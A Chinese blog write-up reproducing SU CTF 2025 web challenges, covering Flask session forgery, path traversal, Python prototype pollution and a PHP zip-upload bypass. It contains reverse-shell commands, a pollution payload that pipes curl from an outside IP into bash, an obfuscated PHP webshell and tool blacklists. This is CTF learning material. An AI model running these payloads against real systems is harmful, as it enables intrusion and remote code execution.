SU CTF 2025 web 复现

SU_blog

进来看到有添加链接,尝试file协议读取任意文件,没打成,提示时间戳用md5加密,尝试往这方面思考,黑盒打不走了,看看源码吧

@app.route('/friendlinks')
def friendlinks():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    return render_template('friendlinks.html', links=friend_links)

误打误撞命名了admin拿到修改link的权限,发现两个有意思的路由,大概率是要往这个方向打了,先看article

@app.route('/article')
def article():
    if 'username' not in session:
        return redirect(url_for('login'))

    file_name = request.args.get('file', '')
    if not file_name:
        return render_template('article.html', file_name='', content="未提供文件名。")

    blacklist = ["waf.py"]
    if any(blacklisted_file in file_name for blacklisted_file in blacklist):
        return render_template('article.html', file_name=file_name, content="大黑阔不许看")
    
    if not file_name.startswith('articles/'):
        return render_template('article.html', file_name=file_name, content="无效的文件路径。")
    
    if file_name not in articles.values():
        if session.get('username') != 'admin':
            return render_template('article.html', file_name=file_name, content="无权访问该文件。")
    
    file_path = os.path.join(BASE_DIR, file_name)
    file_path = file_path.replace('../', '')
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except FileNotFoundError:
        content = "文件未找到。"
    except Exception as e:
        app.logger.error(f"Error reading file {file_path}: {e}")
        content = "读取文件时发生错误。"

    return render_template('article.html', file_name=file_name, content=content)

读取文件需要用户名是admin,且路径穿越被ban了,还需要绕过黑名单,看看有多黑

key_blacklist = [
    '__file__', 'app', 'router', 'name_index',
    'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
    '__loader__', '0',  '1', '3', '4', '5', '6', '7', '8', '9',
]

value_blacklist = [
    'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
    'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
    'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
    'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
    'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]

这个路由起到的应该是一个写入文件后再读取的作用,限制之下似乎做不到任意文件读在这里插入图片描述
再去看看另一个路由admin

@app.route('/Admin', methods=['GET', 'POST'])
def admin():
    if request.args.get('pass')!="SUers":
        return "nonono"
    if request.method == 'POST':
        try:
            body = request.json

            if not body:
                flash("No JSON data received", "error")
                return jsonify({"message": "No JSON data received"}), 400

            key = body.get('key')
            value = body.get('value')

            if key is None or value is None:
                flash("Missing required keys: 'key' or 'value'", "error")
                return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

            if not pwaf(key):
                flash("Invalid key format", "error")
                return jsonify({"message": "Invalid key format"}), 400

            if not cwaf(value):
                flash("Invalid value format", "error")
                return jsonify({"message": "Invalid value format"}), 400

            set_(user_data, key, value)

            flash("User data updated successfully", "success")
            return jsonify({"message": "User data updated successfully"}), 200

        except json.JSONDecodeError:
            flash("Invalid JSON data", "error")
            return jsonify({"message": "Invalid JSON data"}), 400
        except Exception as e:
            flash(f"An error occurred: {str(e)}", "error")
            return jsonify({"message": f"An error occurred: {str(e)}"}), 500

    return render_template('admin.html', user_data=user_data)

在这里插入图片描述
key进行了pwaf,value进行了cwaf

def pwaf(key):
    # 将 key 转换为字节串
    key_bytes = key.encode()
    if not check_blacklist(key_bytes, key_blacklist_bytes):
        print(f"Key contains blacklisted words.")
        return False
    return True

def cwaf(value):
    if len(value) > 77:
        print("Value exceeds 77 characters.")
        return False
    
    # 将 value 转换为字节串
    value_bytes = value.encode()
    if not check_blacklist(value_bytes, value_blacklist_bytes):
        print(f"Value contains blacklisted words.")
        return False
    return True

弱弱吐槽一句,其实你不过滤这些东西我也不知道咋用啊,到这里就应该是到知识瓶颈了,看看wp吧
原来时间戳是用来进行session伪造提权的,就相当于我的狗运蒙到了admin
flask session伪造

output是可能的secret密钥,根据题目情况调整,比如这道题写一个脚本计算当前时间戳的md5值
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6ImJhb3pvbmd3aSJ9.Z20ytA.1XlW1ub_pD2C01b9TRSrpAeX7Ps" --wordlist C:\Users\baozhongqi\Desktop\output.txt

flask-unsign --sign --cookie "{'username': 'admin'}" --secret '3d878169e90d61b3429d932e168282f7'

往下看再一次惊艳到了,wp在黑盒的情况下竟然在article那里实现了任意文件读写,我看到把…/替换为空就以为被禁了,没想到竟然可以使用双写绕过

article…/./…/./…/./…/./etc/passwd
在这里插入图片描述

读一些常规路径

/proc/self/environ

  • 作用:存储当前进程的环境变量。
  • 访问方式
    • 使用 cat /proc/self/environ 读取,但内容由 \0(空字符)分隔。
    • 在 Python 中可使用 open("/proc/self/environ").read() 读取,但更推荐 os.environ 获取环境变量。

/proc/self/cmdline

  • 作用:存储当前进程的启动命令及参数。
  • 访问方式
    • cat /proc/self/cmdline 返回进程的完整启动命令,参数之间用 \0 分隔。
    • 在 Python 中可以用 open("/proc/self/cmdline").read() 读取。

/app/app.py

  • 作用:这是一个普通的文件路径,通常指应用程序的主文件。
  • 访问方式
    • 如果 /app/ 目录存在且包含 app.py,则 python /app/app.py 可能用于启动应用。

在这里插入图片描述
到这里实际上只完成了黑盒打到白盒,又回到卡住的地方了,继续看wp,用到原型链污染,继续开始学习在这里插入图片描述
下面的部分专门写了篇blog
python原型链污染
这个黑名单是真的构思,一直觉得直接弹shell也没什么问题,本地测试一下,黑名单里有cp,跟tcp撞了。。。

'bash -i >& /dev/tcp//6666 0>&1'

记录一手使用system弹shell的语法,本地测试可用

import os
os.system("bash -c 'bash -i >& /dev/tcp/47.108.229.212/6666 0>&1'")

没关系,大不了继续学用curl命令弹shell就是了在这里插入图片描述
先去服务器的/var/www/html中创建一个shell.sh文件,shell.sh里放这个代码

#!/bin/bash
bash -i >& /dev/tcp/你的IP/你的端口 0>&1

在这里插入图片描述
到这一par先本地测试一下curl服务器能不能正常用,注意在这一步要把梯子关了,不然会报502。
后来发现新买的阿里云服务器上竟然连nginx服务器都没装,难怪一直curl失败
污染成功后拿到shell

import requests
import json
url="http://127.0.0.1:70/Admin?pass=SUers"

payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://47.108.229.212/shell.sh|bash');#"}
cookies={"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.Z-jmIA.AY3M2Z3TWJLhnRnfMfK1MCtwI4Y"}
headers={'Content-Type': 'application/json'}
payload_json=json.dumps(payload)
print(payload_json)

r=requests.post(url,data=payload_json,headers=headers)
print(r.text)

r=requests.post(url,data=payload_json,headers=headers,cookies=cookies)
print(r.text)

在这里插入图片描述

SU_photogallery

点源码看一眼,看见一个robots.txt协议,那就应该是打黑盒,尝试一下
在这里插入图片描述
在这里插入图片描述
试着在压缩包里放马,被弹窗退回了,试着传图片,文件上传失败,打不动了,启动白盒吧
主代码就一个php文件,先看看代码大概作用
在这里插入图片描述
在这里插入图片描述
检查后缀名部分会先检查文件路径是否存在,说明已经写入
在检测base64编码这里实际上有一个逻辑漏洞,只会检测黑名单中的第一个单词,在unzip函数中先检查内容再检查后缀名,看完代码也只想到这一个利用点,但是怎么用呢

function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
           return false;

        }
    }
}

看看wp,首先是打黑盒的过程,利用php7.4.21漏洞读取源代码
https://projectdiscovery.io/blog/php-http-server-source-disclosure
在这里插入图片描述

GET /unzip.php HTTP/1.1
Host: 127.0.0.1:70
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n


接下来有意思的东西来了,本来一开始想的是可能有某种方法可以利用图片达成某种攻击,但是竟然是想办法绕过图片的白名单检测和随机重命名。虽然最后剩下的黑名单我也不会绕,不过没事,继续学,先看看对白名单和重命名的绕过

if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    else{
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $fileInfo = $zip->statIndex($i);
            $fileName = $fileInfo['name'];
            if (!check_extension($fileName, $path)) {
                // echo "Unsupported file extension";
                continue;
            }
            if (!file_rename($path, $fileName)) {
                // echo "File rename failed";
                continue;
            }
        }

如果解压失败,就不会进入检测,可以构造出一个压缩包,使shell脚本成功解压,其他东西解压失败,
构造压缩包放入webshell和任意文件如1.txt->开始解压->shell解压成功->1.txt解压失败进入if-> $zip->close()
利用Linux下文件名不能是/
压缩包不能直接命名,写个脚本即可,利用我们在n1学到的压缩包改名

import zipfile
zip_filename="F:\\web\\一句话木马\\shell.zip"
with zipfile.ZipFile(zip_filename,'a') as f:
    f.write('F:\\web\\一句话木马\\2.txt',arcname='/2.txt')
    f.close()

其中2.txt可以大一点,来验证有没有真的放进压缩包里
在这里插入图片描述
但显示上传成功,去docker里面看了看没有文件,这就很蛋疼了,随便上传个图片试试是不是环境的问题。传正常图片反而给我报文件上传失败,这就很异或了
去翻翻其他wp,过程中突然灵光一现,我用的是/2.txt,有没有可能会被解压到根路径下呢,如果用//,尝试,成功!在这里插入图片描述
途中看到一篇很震撼的文章
https://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
在这里插入图片描述
差点把分析payload学习绕过忘了hhh

<?php
$a = 'edoced_46esab';
$b = strrev($a);

$d = 'c3~@#@#@lz!@dGVt';
$s = $b($d);

echo $sys;
$s($_POST[1]);
?>

反转函数得到base64_decode()函数,c3~@#@#@lz!@dGVt 中包含干扰符号(~@#!),实际有效部分为 c3lzdGVt
解码后得到system
至于echo $sys,看着没啥用

SU_POP

不清楚环境出了什么问题,就跳过吧
在这里插入图片描述
在这里插入图片描述
看了看wp也是看不太懂,反序列化还得练啊
看了一下ez_solon的wp,也是不知所云的一条链子,那么SU就复现到这里吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值